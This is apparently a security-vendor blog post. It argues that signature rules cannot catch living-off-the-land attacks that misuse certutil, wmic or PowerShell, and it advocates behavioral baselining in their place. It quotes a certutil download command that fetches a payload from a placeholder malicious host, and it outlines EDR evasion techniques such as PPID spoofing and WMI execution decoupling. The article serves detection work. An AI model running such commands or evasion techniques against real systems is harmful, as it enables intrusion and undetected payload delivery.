Why Signatures Will Never Catch Living-off-the-Land Attacks
The security industry spent a decade trying to regex its way out of Living-off-the-Land (LotL) tradecraft, and the results speak for themselves. Every major intrusion campaign documented over the last three years relies heavily on binaries like certutil.exe, powershell.exe, wmic.exe, mshta.exe, or bitsadmin.exe. These are not obscure third-party tools dropped onto a target system; they are core components of the operating system, signed by the vendor, and used daily by legitimate system administrators.
Trying to write string matches or static rules for tools that belong on the network creates a fundamental trap. If your detection strategy depends on matching specific command-line flags or process names, you are playing a game of endless cat-and-mouse where the attacker holds every structural advantage.
The Atomic Signature Fallacy
Most detection engineering still relies on atomic signatures. A threat intelligence report details an actor downloading a secondary payload using certutil.exe -urlcache -f http://malicious[.]com/payload.exe. The SOC responds by writing a detection rule for certutil.exe accompanied by -urlcache or -decode.
This approach breaks down immediately under real-world offensive pressure.
From an operator’s perspective, atomic signatures are a minor inconvenience. If certutil.exe is heavily monitored, an attacker switches to bitsadmin.exe, curl.exe, or an inline PowerShell execution. If command-line string matching looks for -urlcache, the operator leverages environment variables, string concatenation, or alternative flags like -ping to achieve the same result.
The core flaw of atomic detection is that it isolates the event from its operational context. An EDR rule that inspects a single execution event in a vacuum cannot distinguish between a tier-1 helpdesk script running wmic process get and an adversary enumerating running processes during lateral movement. To the operating system, the API calls, binary signatures, and execution mechanics are identical.
Why “Behavioral Signatures” Are Just Regex in Disguise
Vendor marketing often claims that modern Endpoint Detection and Response (EDR) platforms have evolved beyond signatures by implementing “behavioral detection.” In practice, most behavioral rules are merely chained atomic signatures.
A typical behavioral rule triggers when cmd.exe spawns powershell.exe, which then creates an outbound network connection on port 443. While this looks like context, it is still a rigid, pre-defined pattern match.
Attackers routinely bypass these chained rules using standard execution techniques:
- Parent Process Spoofing: Overriding the parent process ID (PPID) during process creation to break the visual parent-child hierarchy in telemetry.
- Execution Decoupling: Using WMI (
wmic process call create), WinRM, or scheduled tasks to spawn child processes under generic system hosts likewmiprvse.exeorsvchost.exe, cleanly severing the connection to the initial execution vector. - In-Memory Invocation: Loading native binaries or execution engines directly into existing, legitimate processes without spawning a new process on disk.
When a behavioral detection is built on static process chains, any disruption to that expected chain renders the rule blind. Building more complex trees of explicit rules simply increases management overhead while leaving the underlying logic vulnerable to subtle execution shifts.
What Real Contextual Baselining Looks Like
If static patterns fail against native binary misuse, detection must pivot from evaluating what executed to evaluating how anomalous the execution is relative to the environment.
Genuinely effective detection requires establishing a dynamic baseline across three distinct telemetry layers:
1. Process Lineage and Sibling Frequency
Instead of asking whether wmic.exe spawned from explorer.exe, evaluate how frequently explorer.exe spawns wmic.exe across the entire fleet, within a specific host role, and for that specific user identity over a 30-day rolling window.
If a developer workstation spawns msbuild.exe twice an hour, that is normal. If a domain controller spawns msbuild.exe once in six months, that single execution is a high-fidelity signal regardless of the command-line arguments used.
2. User-to-Asset Affinity
Native administrative tools are tied to identity. An administrator managing hypervisors uses a predictable set of tools from specific jump boxes during set operational windows.
When powershell.exe executes administrative cmdlet sequences on a critical database server, the detection layer should evaluate the invoking account’s historical usage patterns. Has this account ever authenticated to this host before? Does this account historically execute remote PowerShell sessions against database assets?
3. Execution Entropy and Telemetry Deviance
Offensive tooling written in native script hosts (PowerShell, VBScript, CScript) often exhibits higher structural complexity or obfuscation than standard administrative scripts. Measuring command-line character length, argument entropy, variable substitution patterns, and rare flag combinations provides a statistical signal that survives simple syntax adjustments.
Raising the Cost for the Operator
Switching from static signatures to behavioral baselining changes the economic equation of an intrusion.
When a SOC relies on static signatures, an offensive operator can test their payloads in a local lab, identify which string triggers an alert, tweak the command line, and execute successfully. The effort required to bypass the control is minimal and deterministic.
Under a contextual baselining model, evasion becomes significantly harder. To avoid detection, the operator must not only obscure their code—they must match the normal administrative patterns of the specific organization they have breached. They must discover which accounts normally run which tools, on which hosts, at what times, and through which parent processes.
Gathering that level of operational intelligence requires extensive internal reconnaissance, which itself generates telemetry and introduces risk for the attacker.
Building a detection strategy around behavioral baselining requires investments in high-volume telemetry pipeline storage, robust data modeling, and hunting teams capable of investigating statistical outliers rather than triaging high-volume, low-context alerts. Until security teams abandon the illusion that every LotL technique can be solved with another Sigma rule, native tools will remain the most efficient path into enterprise networks.
Related content
Catching Encrypted C2 Beacons with Delta Timing and Jitter Math
ResearchThe IAB Arbitrage: Why Ransomware Is a Supply Chain Problem
ResearchWhy Your SPN Monitoring Misses Kerberoasting: A Protocol-Level Reality Check
ResearchAnatomy of a Modern Supply Chain Attack — And Where Defenses Actually Break
Want a second set of eyes on your security posture?
Let's talk about where your real exposure is.
Book an advisory call